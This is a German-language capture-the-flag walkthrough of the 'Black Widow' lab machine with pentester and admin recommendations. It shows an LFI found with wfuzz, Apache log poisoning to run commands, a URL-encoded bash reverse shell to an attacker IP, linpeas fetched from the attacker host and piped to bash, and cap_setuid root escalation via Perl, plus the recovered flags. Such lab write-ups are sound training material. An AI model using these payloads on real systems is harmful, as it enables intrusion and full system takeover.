Analyse: Der `arp-scan -l` Befehl wird ausgeführt, um aktive Geräte im lokalen Netzwerk zu identifizieren.
Bewertung: Ein Gerät mit der IP 192.168.2.140 und der MAC-Adresse `08:00:27:e5:8b:f0` (PCS Systemtechnik GmbH - VirtualBox) wird gefunden. Dies ist das Zielsystem.
Empfehlung (Pentester): Notieren Sie die Ziel-IP 192.168.2.140 für weitere Scans.
Empfehlung (Admin): Netzwerksegmentierung und ARP-Überwachung können helfen, die Sichtbarkeit zu reduzieren und Scans zu erkennen.
192.168.2.140 08:00:27:e5:8b:f0 PCS Systemtechnik GmbH
Analyse: Ein umfassender `nmap`-Scan wird auf die Ziel-IP 192.168.2.140 durchgeführt, um offene Ports, Dienste, Versionen und Betriebssysteminformationen zu ermitteln.
-sS
: SYN-Scan.-sC
: Standard-Skripte.-T5
: Aggressives Timing.-A
: Aggressive Optionen (OS/Version/Skript/Traceroute).-p-
: Scan aller 65535 TCP-Ports.Bewertung: Der Scan enthüllt eine Vielzahl offener Ports:
Empfehlung (Pentester):
Starting Nmap 7.93 ( https://nmap.org ) at ... Nmap scan report for 192.168.2.140 Host is up (0.0010s latency). Not shown: 65526 closed tcp ports (reset) PORT STATE SERVICE VERSION ====================================================================== 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 9c:ea:74:25:75:03:26:60:49:54:85:06:b6:15:98:4f (RSA) | 256 a0:34:05:19:d3:70:22:c7:7c:82:1f:18:98:3b:85:9e (ECDSA) |_ 256 06:e4:08:62:43:6e:3d:53:6b:87:60:6b:5e:8f:7b:b8 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Index of / 111/tcp open rpcbind 2-4 (RPC 100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100003 3 2049/tcp nfs | 100003 3 2049/udp nfs | 100005 1,2,3 44833/tcp mountd | 100005 1,2,3 49681/udp mountd | 100021 1,3,4 43795/tcp nlockmgr | 100021 1,3,4 35387/udp nlockmgr | 100227 3 2049/tcp nfs_acl |_ 100227 3 2049/udp nfs_acl 2049/tcp open nfs_acl 3 (RPC 100227) 3128/tcp open http-proxy Squid http proxy 4.6 |_http-server-header: squid/4.6 |_http-title: ERROR: The requested URL could not be retrieved 43795/tcp open nlockmgr 1-4 (RPC 100021) 44833/tcp open mountd 1-3 (RPC 100005) 54901/tcp open mountd 1-3 (RPC 100005) 60353/tcp open mountd 1-3 (RPC 100005) MAC Address: 08:00:27:E5:8B:F0 (PCS Systemtechnik GmbH) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 1.01 ms 192.168.2.140 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 28.77 seconds
Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien im Web-Root (Port 80) zu finden. Eine Standard-Wortliste und gängige Erweiterungen werden verwendet.
Bewertung: Mehrere Verzeichnisse und Dateien werden gefunden:
/index.html
: Die Startseite./docs/
: Ein Dokumentationsverzeichnis./company/
: Sieht nach einem Hauptverzeichnis einer Anwendung oder Webseite aus./js/
: Ein JavaScript-Verzeichnis.Empfehlung (Pentester): Untersuchen Sie das `/company`-Verzeichnis und die `started.php`-Datei genauer. Führen Sie `gobuster` erneut auf `/company/` aus, um tiefere Strukturen zu finden. Analysieren Sie `index.html`, `changelog.txt` und `Readme.txt` auf Hinweise.
Empfehlung (Admin): Stellen Sie sicher, dass keine unnötigen Dateien oder Verzeichnisse im Web-Root liegen. Beschränken Sie den Zugriff auf sensible Verzeichnisse oder Dateien (z.B. `/docs`, falls intern).
=============================================================== Gobuster v3.1.0 [...] =============================================================== [...] /index.html (Status: 200) [Size: 84] /docs (Status: 301) [Size: 313] [--> http://192.168.2.140/docs/] /company (Status: 301) [Size: 316] [--> http://192.168.2.140/company/] /js (Status: 301) [Size: 311] [--> http://192.168.2.140/js/] [...] ===============================================================
Zusätzliche Pfade (vermutlich aus Quellcode/manueller Analyse):
http://blackwidow/company/started.php
http://192.168.2.140/company/assets/img/skills.png
http://192.168.2.140/company/assets/img/portfolio/portfolio-1.jpg
http://192.168.2.140/company/assets/img/team/team-2.jpg
http://192.168.2.140/company/forms/contact.php
Analyse: `gobuster` wird erneut ausgeführt, diesmal gezielt auf das Unterverzeichnis `/company/assets/`.
Bewertung: Es werden Standard-Asset-Verzeichnisse gefunden: `/img/`, `/css/`, `/js/`, `/vendor/`. Dies bestätigt die Struktur, liefert aber keine direkten neuen Angriffspunkte.
Empfehlung (Pentester): Diese Verzeichnisse enthalten normalerweise keine serverseitige Logik, aber man könnte sie nach interessanten JavaScript-Dateien oder Konfigurationsdateien durchsuchen, die versehentlich dort abgelegt wurden.
Empfehlung (Admin): Stellen Sie sicher, dass in Asset-Verzeichnissen keine sensiblen Dateien liegen.
=============================================================== Gobuster v3.1.0 [...] =============================================================== [...] /img (Status: 301) [Size: 327] [--> http://192.168.2.140/company/assets/img/] /css (Status: 301) [Size: 327] [--> http://192.168.2.140/company/assets/css/] /js (Status: 301) [Size: 326] [--> http://192.168.2.140/company/assets/js/] /vendor (Status: 301) [Size: 330] [--> http://192.168.2.140/company/assets/vendor/] [...] ===============================================================
Analyse: Ein weiterer `gobuster`-Scan, diesmal auf das Verzeichnis `/company/`.
Bewertung: Dieser Scan bestätigt die bereits bekannten Dateien und Verzeichnisse (`index.html`, `assets`, `forms`). Neu entdeckt werden:
/changelog.txt
: Könnte Informationen über verwendete Softwareversionen oder Änderungen enthalten./Readme.txt
: Könnte Installationshinweise oder Standard-Zugangsdaten enthalten./started.php
: Wird erneut gefunden, was seine Bedeutung unterstreicht.Empfehlung (Pentester): Laden Sie `changelog.txt` und `Readme.txt` herunter und analysieren Sie deren Inhalt. Konzentrieren Sie die weitere Untersuchung auf `started.php`, da PHP-Dateien oft Angriffspunkte für Local File Inclusion (LFI) oder Remote Code Execution (RCE) bieten.
Empfehlung (Admin): Entfernen Sie unnötige Dateien wie `changelog.txt` oder `Readme.txt` von Produktionsservern, wenn sie sensible Informationen enthalten könnten.
=============================================================== Gobuster v3.1.0 [...] =============================================================== [...] /index.html (Status: 200) [Size: 42271] /assets (Status: 301) [Size: 323] [--> http://192.168.2.140/company/assets/] /forms (Status: 301) [Size: 322] [--> http://192.168.2.140/company/forms/] /changelog.txt (Status: 200) [Size: 1175] /Readme.txt (Status: 200) [Size: 222] /started.php (Status: 200) [Size: 42271] [...] ===============================================================
Analyse: `wfuzz` wird verwendet, um die Datei `started.php` auf Local File Inclusion (LFI)-Schwachstellen zu testen. Es wird versucht, Parameter zu finden, indem der Wert auf `../../../../etc/passwd` gesetzt wird. Der Hostname `blackwidow` wird verwendet, dieser muss also zuvor in `/etc/hosts` eingetragen worden sein (`192.168.2.140 blackwidow`). Die Optionen `--hc=500` (verstecke Serverfehler) und `--hh 42271` (verstecke Antworten mit der Größe der normalen Seite) sollen irrelevante Ergebnisse ausfiltern.
Bewertung: `wfuzz` identifiziert den Parameter `file` als potenziell anfällig. Die Antwort hat Status 200 und eine Größe von 0, was darauf hindeutet, dass die Datei `/etc/passwd` entweder nicht inkludiert werden konnte (Berechtigungsfehler) oder der LFI-Versuch selbst die normale Ausgabe unterdrückt hat, aber der Parameter erkannt wurde.
Empfehlung (Pentester): Da der Parameter `file` gefunden wurde, testen Sie ihn gezielt auf LFI. Versuchen Sie, bekannte Dateien wie `/etc/passwd` oder `/etc/hosts` mit verschiedenen Path-Traversal-Tiefen einzubinden (`?file=../../etc/passwd`, `?file=../../../etc/passwd` etc.). Verwenden Sie eine LFI-spezifische Wortliste mit `wfuzz`.
Empfehlung (Admin): Implementieren Sie sichere Dateipfadvverarbeitung in `started.php`. Vermeiden Sie es, Benutzereingaben direkt in Dateipfadfunktionen (`include`, `require`, `file_get_contents` etc.) zu verwenden. Validieren und bereinigen Sie alle Eingaben und beschränken Sie den Zugriff auf erlaubte Verzeichnisse.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://blackwidow/company/started.php?FUZZ=../../../../etc/passwd
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000759: 200 0 L 0 W 0 Ch "file"
[...]
Total time: ...
Processed Requests: 220560
Filtered Requests: 220559
Requests/sec.: ...
Analyse: Nach der Identifizierung des `file`-Parameters wird `wfuzz` erneut verwendet, diesmal mit einer LFI-spezifischen Wortliste (`LFI-LFISuite-pathtotest.txt`), um verschiedene Path-Traversal-Sequenzen und Dateinamen zu testen. Antworten mit Status 500 (Serverfehler) und Größe 0 werden versteckt.
Bewertung: LFI bestätigt! Mehrere Payloads führen erfolgreich zum Einbinden von `/etc/passwd` und `/etc/group`. Die Antworten haben Status 200 und eine von 0 abweichende Größe (1582 Chars für passwd, 727 für group). Die erfolgreichen Payloads verwenden eine große Anzahl von `../`-Sequenzen, was darauf hindeutet, dass eine einfache Filterung umgangen werden muss.
Empfehlung (Pentester):
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://blackwidow/company/started.php?file=FUZZ Total requests: 569 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000062: 200 29 L 43 W 1582 Ch "../../../../../../../../../../../../../../../../etc/passwd" 000000061: 200 29 L 43 W 1582 Ch "../../../../../../../../../../../../../../etc/passwd" 000000060: 200 29 L 43 W 1582 Ch "../../../../../../../../../../../../../etc/passwd" 000000403: 200 55 L 55 W 727 Ch "../../../../../../../../../../../../../etc/group" 000000404: 200 55 L 55 W 727 Ch "../../../../../../../../../../../../../../etc/group" [...] Total time: ... Processed Requests: 569 Filtered Requests: 564 Requests/sec.: ...
Erfolgreiche URL zum Lesen von /etc/passwd: http://blackwidow/company/started.php?file=../../../../../../../../../../../../../../etc/passwd
Analyse: Der Inhalt von `/etc/passwd` wird über die LFI-Schwachstelle mit `curl` abgerufen und mit `grep bash` nach Benutzern gefiltert, die eine Bash-Shell haben.
Bewertung: Zwei Benutzer mit Bash-Shell werden identifiziert:
Empfehlung (Pentester): Notieren Sie den Benutzernamen `viper`. Fahren Sie mit der LFI-Ausnutzung fort, um weitere Informationen zu sammeln oder Codeausführung zu erreichen (z.B. Log Poisoning).
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle. Überprüfen Sie die Notwendigkeit von Benutzerkonten und deren Shell-Zugriff.
root:x:0:0:root:/root:/bin/bash viper:x:1001:1001:Viper,,,:/home/viper:/bin/bash
Analyse: Dieser Befehl extrahiert das neunte Feld (vermutlich Pfade) aus jeder Zeile einer Datei `log.txt` (deren Inhalt unbekannt ist, aber wahrscheinlich Log-Einträge enthält), entfernt Anführungszeichen und fügt das Ergebnis an eine Wortliste `/usr/share/wordlists/logfiles.txt` an. Diese Wortliste wird dann mit `wfuzz` verwendet, um über die LFI-Schwachstelle auf diese Log-Dateipfade zuzugreifen.
Bewertung: Der `wfuzz`-Scan findet mehrere potenzielle Log-Dateipfade, die mit Status 200 antworten, aber alle haben eine Größe von 0 Chars. Dies deutet darauf hin, dass die Dateien entweder leer sind oder der `www-data`-Benutzer keine Leseberechtigung hat. Ein wichtiger Pfad ist jedoch `/var/log/apache2/access_log`, der häufig für Log Poisoning verwendet wird.
Empfehlung (Pentester): Konzentrieren Sie sich auf den Pfad `/var/log/apache2/access.log` (oder `access_log`). Versuchen Sie, diesen über LFI einzubinden und durch eine speziell präparierte Anfrage (z.B. mit PHP-Code im User-Agent) Code auszuführen (Log Poisoning).
Empfehlung (Admin): Stellen Sie sicher, dass Logdateien, insbesondere Apache-Logs, korrekte Berechtigungen haben und nicht vom Webserver-Benutzer gelesen werden können, wenn dies nicht unbedingt erforderlich ist. Implementieren Sie Log-Rotation und -Bereinigung.
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://blackwidow/company/started.php?file=../../../../../../../../../../../../../../../..FUZZ Total requests: 92 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000016: 200 0 L 0 W 0 Ch "/var/log/apache2/access_log" 000000011: 200 0 L 0 W 0 Ch "/var/www/logs/access_log" 000000010: 200 0 L 0 W 0 Ch "/etc/httpd/logs/error.log" 000000013: 200 0 L 0 W 0 Ch "/usr/local/apache/logs/access_log" 000000006: 200 0 L 0 W 0 Ch "/apache/logs/access.log" 000000008: 200 0 L 0 W 0 Ch "/etc/httpd/logs/acces.log" 000000009: 200 0 L 0 W 0 Ch "/etc/httpd/logs/error_log" 000000005: 200 0 L 0 W 0 Ch "/apache/logs/error.log" 000000012: 200 0 L 0 W 0 Ch "/var/www/logs/access.log" [...] Total time: ... Processed Requests: 92 Filtered Requests: [...] Requests/sec.: ...
Analyse: Eine Anfrage wird mit `curl` an das Zielsystem (IP 192.168.2.141 - Änderung beachten!) gesendet. Entscheidend ist der User-Agent-Header (`-A`), der auf `` gesetzt wird. Dies ist der Versuch, PHP-Code in die Apache-Logdatei zu schreiben.
Bewertung: Wenn der Apache-Server den User-Agent unverändert in die `access.log`-Datei schreibt, wird dieser PHP-Code dort gespeichert. Wenn anschließend die `access.log` über die LFI-Schwachstelle eingebunden wird, interpretiert der PHP-Interpreter den Code in der Logdatei und führt ihn aus. Dies ist die Grundlage für Log Poisoning.
Empfehlung (Pentester):
Analyse: Nach dem Versuch, den PHP-Code in die Logs zu injizieren, wird `curl` verwendet, um die `access.log` über die LFI einzubinden und gleichzeitig den Parameter `cmd=id` anzuhängen. Die Ausgabe wird nach "data" gefiltert.
Bewertung: Log Poisoning erfolgreich! In der Ausgabe der Logdatei findet sich die Zeile `uid=33(www-data) gid=33(www-data) groups=33(www-data)`. Dies ist die Ausgabe des `id`-Befehls, der durch den injizierten PHP-Code (`system($_GET['cmd'])`) ausgeführt wurde, als die Logdatei eingebunden wurde. Der Angreifer hat nun Remote Code Execution als `www-data`.
Empfehlung (Pentester): Nutzen Sie die `cmd`-Parameter-Schwachstelle, um eine Reverse Shell zu erhalten. Starten Sie einen Listener (`nc -lvnp 9001`) und senden Sie den entsprechenden Payload (URL-kodiert) mit `curl` oder im Browser: `curl 'http://192.168.2.141/company/started.php?file=../../../../../../../../../../../../../../../../var/log/apache2/access.log&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FDEINE_IP%2F9001%200%3E%261%27'`
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle und konfigurieren Sie das Logging sicher (siehe vorherige Empfehlungen).
# Frühere Versuche, den richtigen Log-Pfad zu finden (nicht notwendig für das Verständnis des Erfolgs):
[...]
[...]
[...] (Viele Log-Zeilen) 192.168.2.114 - - [09/Sep/2022:10:52:02 -0400] "GET / HTTP/1.1" 200 334 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data)\n" [...]
Analyse: Ein Netcat-Listener wird auf Port 9001 gestartet. Eine URL wird gezeigt, die den LFI/Log-Poisoning-Exploit enthält, um eine Reverse Shell zu `192.168.2.140:9001` zu senden. Der Befehl `SHELL=/bin/bash script -q /dev/null` wird oft verwendet, um eine interaktivere TTY-Shell nach Erhalt einer einfachen Reverse Shell zu erhalten.
Bewertung: Dies beschreibt den finalen Schritt zur Erlangung einer Shell als `www-data`. Durch Aufrufen der präparierten URL wird der Code im Log ausgeführt, der `bash -i` startet und die Ein-/Ausgabe zum Listener auf dem Angreifer-System umleitet.
Empfehlung (Pentester): Führen Sie den Listener aus, rufen Sie die URL auf und stabilisieren Sie die erhaltene Shell als `www-data`. Beginnen Sie mit der Enumeration als dieser Benutzer.
Empfehlung (Admin): (Siehe vorherige Empfehlungen zu LFI und Log Poisoning).
listening on [any] 9001 ...
# URL für Reverse Shell (Aufruf im Browser oder mit curl):
view-source:http://192.168.2.141/company/started.php?file=../../../../../../../../../../../../../../../../var/log/apache2/access.log&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.140%2F9001%200%3E%261%27
# Befehl zur Shell-Stabilisierung (nach Erhalt der Verbindung):
SHELL=/bin/bash script -q /dev/null
Analyse: In der erhaltenen `www-data`-Shell wird eine Backup-Datei des Authentifizierungslogs (`/var/backups/auth.log`) durchsucht. Es wird speziell nach Einträgen gefiltert, die den Port `7090` enthalten.
Bewertung: Die Ausgabe zeigt mehrere fehlgeschlagene Login-Versuche für einen "invalid user" namens `?V1p3r2020!?` von der IP `192.168.1.109` auf Port `7090`. Der Benutzername enthält Sonderzeichen, aber der Kern `V1p3r2020!` sieht stark nach einem Passwort aus, das versehentlich als Benutzername eingegeben wurde. Es ist wahrscheinlich das Passwort für den Benutzer `viper`, der zuvor in `/etc/passwd` gefunden wurde.
Empfehlung (Pentester): Versuchen Sie, sich mit dem Benutzernamen `viper` und dem vermuteten Passwort `V1p3r2020!` per SSH auf Port 22 anzumelden (`ssh viper@192.168.2.141`).
Empfehlung (Admin): Überprüfen Sie, warum Authentifizierungslogs in `/var/backups` gespeichert werden und ob dies sicher geschieht. Beschränken Sie den Zugriff auf Log-Backups. Schulen Sie Benutzer im sicheren Umgang mit Passwörtern und im korrekten Login-Vorgang. Implementieren Sie Intrusion Detection Systeme (wie fail2ban), um wiederholte fehlgeschlagene Login-Versuche zu blockieren.
Dec 12 16:56:43 test sshd[29560]: Invalid user ?V1p3r2020!? from 192.168.1.109 port 7090 Dec 12 16:56:46 test sshd[29560]: Failed password for invalid user ?V1p3r2020!? from 192.168.1.109 port 7090 ssh2 Dec 12 16:56:43 test sshd[29560]: Invalid user ?V1p3r2020!? from 192.168.1.109 port 7090 Dec 12 16:56:43 test sshd[29560]: Invalid user ?V1p3r2020!? from 192.168.1.109 port 7090 Dec 12 16:56:43 test sshd[29560]: Invalid user ?V1p3r2020!? from 192.168.1.109 port 7090 Dec 12 16:56:43 test sshd[29560]: Invalid user ?V1p3r2020!? from 192.168.1.109 port 7090 Dec 12 16:56:43 test sshd[29560]: Invalid user ?V1p3r2020!? from 192.168.1.109 port 7090
Analyse: Es wird versucht, sich per SSH als Benutzer `viper` auf dem Zielsystem (192.168.2.141) anzumelden, vermutlich unter Verwendung des im vorherigen Schritt gefundenen Passworts `V1p3r2020!`.
Bewertung: Der Login ist erfolgreich (impliziert durch die fehlende Fehlermeldung und die nachfolgende Ausgabe von `cat local.txt`). Der Angreifer hat nun eine Shell als Benutzer `viper`. Anschließend wird die User-Flag aus `local.txt` gelesen: `d930fe79919376e6d08972dae222526b`.
Empfehlung (Pentester): Notieren Sie die User-Flag. Führen Sie Enumeration als Benutzer `viper` durch (z.B. `sudo -l`, SUID-Binaries, Cronjobs, Home-Verzeichnis untersuchen), um den nächsten Schritt zur Rechteausweitung auf Root zu finden.
Empfehlung (Admin): Erzwingen Sie starke, nicht erratbare Passwörter. Vermeiden Sie die Speicherung von Passwörtern in Logs. Überwachen Sie SSH-Logins.
The authenticity of host '192.168.2.141 (192.168.2.141)' can't be established. ED25519 key fingerprint is SHA256:uAKXWMgmDlF/ZpvQDb+PUKtEN8lJntzsMNcHasplJ9U. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.2.141' (ED25519) to the list of known hosts. Password: (Passwort 'V1p3r2020!' eingegeben) Linux blackwidow 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 [...] (Login Banner) viper@blackwidow:~$ cat local.txt d930fe79919376e6d08972dae222526b viper@blackwidow:~$
Analyse: Auf dem Angreifer-System wird ein einfacher PHP-Webserver gestartet, um Dateien bereitzustellen. Auf dem Zielsystem wird dann `linpeas.sh`, ein bekanntes Linux-Enumerations- und Privilege-Escalation-Skript, vom Angreifer-Server heruntergeladen und direkt an `bash` übergeben, um es auszuführen. Die Ausgabe von LinPEAS wird nach der Zeichenkette `cap_setuid+ep` gefiltert.
Bewertung: LinPEAS identifiziert eine kritische Fehlkonfiguration: Die Datei `/home/viper/backup_site/assets/vendor/weapon/arsenic` hat die `cap_setuid+ep` Capability gesetzt und ist für den aktuellen Benutzer (`viper`) schreibbar. Die `cap_setuid`-Capability erlaubt einem Prozess, seine effektive und reale Benutzer-ID zu ändern, was zur Rechteausweitung missbraucht werden kann, insbesondere wenn die Datei schreibbar ist oder eine bekannte Schwachstelle hat. Der Dateiname `arsenic` ist ebenfalls verdächtig.
Empfehlung (Pentester):
[Fri Sep 9 17:05:30 2022] PHP 8.1.5 Development Server (http://0.0.0.0:80) started [Fri Sep 9 17:06:07 2022] 192.168.2.141:49506 Accepted [Fri Sep 9 17:06:07 2022] 192.168.2.141:49506 [200]: GET /linpeas.sh [Fri Sep 9 17:06:07 2022] 192.168.2.141:49506 Closing
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 806k 100 806k 0 0 109k 0 0:00:07 0:00:07 --:--:-- 109k
/home/viper/backup_site/assets/vendor/weapon/arsenic = cap_setuid+ep is writable
Analyse: Das Binary `/home/viper/backup_site/assets/vendor/weapon/arsenic`, das die `cap_setuid+ep`-Capability besitzt, wird ausgeführt. Es wird ein Perl-Payload (`-e '...'`) übergeben. Dieser Payload verwendet das POSIX-Modul, um `setuid(0)` aufzurufen (wodurch die effektive Benutzer-ID auf 0, also Root, gesetzt wird) und führt dann `/bin/bash` aus.
Bewertung: Der Exploit funktioniert! Da `arsenic` die `cap_setuid`-Capability hat, darf der Perl-Code `setuid(0)` erfolgreich aufrufen. Die nachfolgende `exec "/bin/bash"` startet eine neue Bash-Shell, die nun mit Root-Rechten läuft. Dies wird durch den Prompt `root@blackwidow:` bestätigt.
Empfehlung (Pentester):
# Vorheriger Befehl aus linpeas zur Demonstration der Capability (optional)
# sudo setcap cap_setuid+ep ./perl
[Keine Ausgabe, aber der Prompt wechselt]
uid=0(root) gid=1001(viper) groups=1001(viper)
Analyse: Als Root wird versucht, die Root-Flag-Datei zu lesen. Es folgt eine ASCII-Art-Darstellung und die eigentliche Flag.
Bewertung: Die Root-Flag wird erfolgreich gelesen: `0780eb289a44ba17ea499ffa6322b335`. Die ASCII-Art dient als Bestätigung und Hinweis der Maschinen-Ersteller.
Empfehlung (Pentester): Notieren Sie die Root-Flag. Der Test ist abgeschlossen.
Empfehlung (Admin): Sichern Sie das System gemäß den vorherigen Empfehlungen, um zukünftige Kompromittierungen zu verhindern.
▄▄▄▄· ▄▄▌ ▄▄▄· ▄▄· ▄ •▄ ▄▄▌ ▐ ▄▌▪ ·▄▄▄▄ ▄▄▌ ▐ ▄▌ ▐█ ▀█▪██• ▐█ ▀█ ▐█ ▌▪█▌▄▌▪ ██· █▌▐███ ██▪ ██ ▪ ██· █▌▐█ ▐█▀▀█▄██▪ ▄█▀▀█ ██ ▄▄▐▀▀▄· ██▪▐█▐▐▌▐█·▐█· ▐█▌ ▄█▀▄ ██▪▐█▐▐▌ ██▄▪▐█▐█▌▐▌▐█ ▪▐▌▐███▌▐█.█▌ ▐█▌██▐█▌▐█▌██. ██ ▐█▌.▐▌▐█▌██▐█▌ ·▀▀▀▀ .▀▀▀ ▀ ▀ ·▀▀▀ ·▀ ▀ ▀▀▀▀ ▀▪▀▀▀▀▀▀▀▀• ▀█▄▀▪ ▀▀▀▀ ▀▪ Congrats! You've rooted Black Widow! 0xJin - mindsflee Follow on Instagram: 0xjiin Follow on Twitter: 0xJin , @mindsflee 0780eb289a44ba17ea499ffa6322b335